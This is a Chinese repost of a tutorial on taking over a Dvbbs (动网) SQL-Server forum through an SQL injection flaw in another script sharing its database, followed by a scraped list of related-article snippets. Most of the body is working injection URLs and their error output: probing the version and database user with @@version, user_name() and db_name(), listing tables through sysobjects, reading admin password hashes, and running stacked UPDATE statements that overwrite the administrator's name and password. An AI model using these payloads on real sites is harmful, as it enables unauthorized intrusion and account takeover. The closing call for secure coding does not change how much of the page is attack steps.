再谈SQL注入入侵动网SQL版 
编辑前言:
  这个文章我没有测试,但前提条件还是很多,比如一定要有别的程序存在,而且也要用同一个SQLSERVER库,还得假设有注入漏洞。说到底和动网没有什么关系,但因为动网论坛的开放性,让人熟悉了其数据库结构,和程序运作方法。在一步步的攻击中取得管理权限,再一步步的提升权限,如果正好数据库用的是SA帐号,就更是麻烦了。

  正是由于这些条件的假设,所以大家也不用太紧张,这里提供的是很多理想状态下的入侵行为,在编程中减少安全漏洞是我们每个程序员要注意的。而站长在组合使用多个程序的时候,也要注意安全和程序的完整性。

  在我所了解的多个动网7.0+sp2 的版本也有2-3次被黑现象,所以大家还要及时注意升级,详细进行权限设置。并不是说动网不好,而是说他程序的开放性,用的人很多,找出来的BUG会很多,软件学里说了,用的越多,BUG会越多。相对来说,我喜欢自己定制化开发的程序,相对来说会安全一些。

下面是六中男孩的正文

  现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序,难免不出纰漏。如果一台主机上存在某个SQL注入点,而这台主机又安装有动网SQL版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例。

  一、 首先确定目标。假设以下URL存在SQL注入:
http://www.loveyou.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。

http://www.loveyou.com/type.aspid=6' 返回错误提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' 
[ Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。

继续,先探测一下系统版本:
http://www.loveyou.com/type.asp?id=(select @@version)--

返回:  Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' 
[ Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 ' Microsoft SQL Server 2000 - 8.00.760 ( Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003  Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。 
看来已经打上最新的SP4补丁。

取得当前连接数据库用户:
http://www.loveyou.com/type.asp?id=(select user_name())--

返回: Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' 
[ Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库用户为:webuser

取得当前连接数据库名:
http://www.loveyou.com/type.asp?id=(select db_name())--

返回: Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' 
[ Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 '01city' 转换为数据类型为 int 的列时发生语法错误。 
从错误信息中得到当前数据库名为: 01city

接下来测试下权限:(注:因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要

http://www.loveyou.com/type.asp?id=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续,
http://www.loveyou.com/type.asp?id=(SELECT%20IS_MEMBER('db_owner'))--
正常显示信息,看来连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者。但对操纵数据是绰绰有余了。

二.得到数据库表名。不出意外的话动网的各个表就存在于当前数据库01city中。
  首先得到第一个表:
<script type="text/javascript"> window.attachEvent("onload",function (){AutoSizeDIV('CODE_8197')}) </script>http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in(''))--
返回:[ Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'address' 转换为数据类型为 int 的列时发生语法错误。 
好的,第一个表名出来了,为: address
继续,
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address'))--
返回: admin 第二个表名也出来了。依次类推, 提交:
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address','admin',...))--

可以得到当前数据库中所有表名。
  不一会儿,结果出来了, 表名好眼熟啊。
"address","admin","bbslink","bbsnews","board","user".........傻瓜都看的出这是动网的表。当然还有其它的一些表,我们不去管它。
  接下来就好办了,也不要去猜字段了,我们打开自己的动网数据库看一下就知道了。 既然有了表名,字段名,那么,动网不就在你掌握之下了吗? 但千万不要 drop table啊。 破坏就不好了。我们的目的是演练技术,提高水平。 好,那么,我们去得到动网的后台。

  三、进入后台,取得动网论坛管理员权限。

先看看后台有多少个管理员:
http://www.loveyou.com/type.asp?id=6 and 4=(select count(username) from admin)--
返回错误: 当前的记录已被删除。说明管理员少于4位。直接提交,
http://www.loveyou.com/type.asp?id=6 and 1=(select count(username) from admin)--
正常显示信息,看来管理员只有一个,读出管理员名字,
http://www.loveyou.com/type.asp?id=(select username from admin)--
出来了,管理员后台登陆名为: 01city
继续读出管理员后台登陆密码:
http://www.loveyou.com/type.asp?id=(select password from admin)--
很顺利,密码为: e7cc01be0e33a273
是MD5加密过的。难道要去破解它吗? 别急,根本不需要去破MD5密码。
由于动网后台管理是COOKIE+SESSION认证。所以只有管理员在前台登陆才可以进后台管理,一般用户是无法进后台管理的。即使后台用户和密码都知道的情况下也一样。所以我们还要取得前台管理的用户和密码。 这个很容易,在他论坛注册一个用户查看一下管理团队,得出,前台管理用户为: admin

好,得到他的密码:

http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回,admin的前台密码为:e7cc01be0e33a273
同样是MD5的。 现在利用COOKIE欺骗可以登陆它的前台管理了。但是还有别的办法吗?别忘了现在我们可是对它的数据库拥有生杀大权哦。聪明的你可能想到了,对 ,就是,update。 我们来提交:
http://www.loveyou.com/type.asp?id=6;update user set userpassword='49ba59abbe56e057' where username='admin';--
正常返回信息,应该成功执行了,查看一下:
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回值为: 49ba59abbe56e057
更改密码成功,说明一下,这个16位MD5是预先算好的。你要知道它的明文密码。
那么同样的,我们更改一下后台的管理密码.先把后台用户改成和前台用户一样的,提交:
http://www.loveyou.com/type.asp?id=6;update admin set username='admin' where username='01city'--

查看一下:

http://www.loveyou.com/type.asp?id=(select username from admin)--
更改成功,后台管理员现在已变成:admin 接下来更改密码,提交:
http://www.loveyou.com/type.asp?id=6;update admin set password='49ba59abbe56e057' where username='admin'--

查看一下:
<script type="text/javascript"> window.attachEvent("onload",function (){AutoSizeDIV('CODE_7671')}) </script>http://www.loveyou.com/type.asp?id=(select password from admin)--
更改成功,后台管理员密码已经变成:49ba59abbe56e057

到这里为止,动网已彻底沦陷。你可以用admin登陆前台然后再用相同的密码进后台管理了。

四、总结
  就这样并不算太艰难的实现了对动网的控制。通过这次善意的渗透测试,也暴露出SQL INJECTION攻击的可怕性。而对于IIS+ASP+SQL2000的虚拟主机来说简直就是防不胜防。只要主机上有一个SQL注入点的话,动网就将面临灭顶之灾了。而其实从服务器庞大的网站程序中找一个这样的SQL注入点并不算难事.正应征了一句老话:千里之堤,溃于蚁穴。所以防范这样的攻击的最好办法是加强程序代码的安全性。安全是个整体,任何细微的错误都有可能导致严重后果。

再谈SQL注入入侵动网SQL版相关推荐

  1. SQL注入入侵动网SQL

    编辑前言:这个文章我没有测试,但前提条件还是很多,比如一定要有别的程序存在,而且也要用同一个SQLSERVER库,还得假设有注入漏洞.说到底和动网没有什么关系,但因为动网论坛的开放性,让人熟悉了其数据 ...

  2. SQL注入入侵动网SQL版论坛

    现在动网最新版本是7.0+SP2.应该说安全性已经是很高的了.所以从脚本本身的问题去突破它难度不小.但是我们可以从外部的一些途径间接"搞定"动网.现在IIS+ASP+SQL2000 ...

  3. html页面sql注入,再谈SQL注入入侵动网SQL版-ASP TO HTML WITH TEMPLATE3

    5,处理数据功能显示页面addit.asp 首先是处理接受过来的数据,并将值写入数据库:接着将模板代码进行引用,并将其中特殊代码转换为接受值,最终通过FSO生成HTML页面.其中需要注意的还有,生成文 ...

  4. 记一次成功的sql注入入侵检测附带sql性能优化

    很多同学和园友都遇到过sql注入的,其中大部分都是代码的不严谨造成的,都是犯过很多错误才学会认真起来. 但是如果是让你接手一个二等残废的网站,并让你在上面改版,而且不能推翻式改版,只能逐步替换旧的程序 ...

  5. SQL注入--入侵动网

    编辑前言:这个文章我没有测试,但前提条件还是很多,比如一定要有别的程序存在,而且也要用同一个SQLSERVER库,还得假设有注入漏洞.说到底和动网没有什么关系,但因为动网论坛的开放性,让人熟悉了其数据 ...

  6. SQL注入原理及预防SQL注入的方法

    网络安全成为了现在互联网的焦点,这也恰恰触动了每一位用户的神经,担心网上的信息以及个人隐私遭到泄露.下面要为大家介绍的是SQL注入,对于sql注入,相信程序员都知道或者使用过,如果没有了解或完全没有听 ...

  7. sql注入及mybatis防止sql注入

    一.Sql 注入漏洞详解 Sql 注入产生原因及威胁: 当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句.这种网站内部直接发送的Sql ...

  8. java开发中推荐的防御sql注入方法_防御SQL注入的方法总结

    SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难. SQL 注入漏洞存在的原因,就是拼接 SQL 参数.也就是将用于输入的查询参数,直接拼接在 SQL 语句中,导致 ...

  9. php 预处理 防注入,PHP防止sql注入小技巧之sql预处理原理与实现方法分析

    本文实例讲述了PHP防止sql注入小技巧之sql预处理原理与实现方法.分享给大家供大家参考,具体如下: 我们可以把sql预处理看作是想要运行的 SQL 的一种编译过的模板,它可以使用变量参数进行定制. ...

最新文章

  1. java时间操作方法Calendar
  2. c语言二级编程题答案免费下载,全国计算机等级考试二级C语言上机编程题参考答案...
  3. Eclipse基本使用
  4. Apt-get使用指南
  5. matlab打开笔记本摄像头_基于MATLAB调用电脑摄像头获取视频和图像
  6. linux——两个客户端之间实现聊天(TCP、单线程)
  7. android canvas 画按钮,Android 用Canvas轻松绘制一个时钟
  8. OSChina 周二乱弹 —— 技术宅正确装逼姿势
  9. 多态_python的小窝_百度空间
  10. 线性内插和双线性内插
  11. 视频加密软件技术小分享
  12. python语言程序代码保存在_《计算机二级Python语言程序设计考试》第5章:函数和代码复用...
  13. winform 图片按钮
  14. java解决 No enclosing instance of type XXX is accessible的问题
  15. 拖拽图片在Label上显示
  16. 湘潭大学oracle上机试题,湘潭大学计算机考题2010
  17. Motion Sensors
  18. SpingSecurity配置
  19. 星空css,CSS星空动态背景
  20. UE 材质一 : 材质通道

热门文章

  1. 中国代表:中国政府从未要求企业安装后门
  2. Xcode项目参数配置——Search Paths
  3. python图像锐化滤波_OpenCV-Python学习(九):图像滤波
  4. 关于《Windows之上传统蒙古文操作系统》新探索系列篇(一)
  5. 3Dmax和blender渲染线稿
  6. 性能测试+当当网搭建
  7. SSM开发书评网9:项目准备与SSM整合七:项目分析与数据库建表;
  8. 中南林业科技大学Java实验报告六:类的特性
  9. ncnn之六:ncnn量化(post-training quantization)三部曲 - ncnnoptimize
  10. 新视野大学英语2读写教程PDF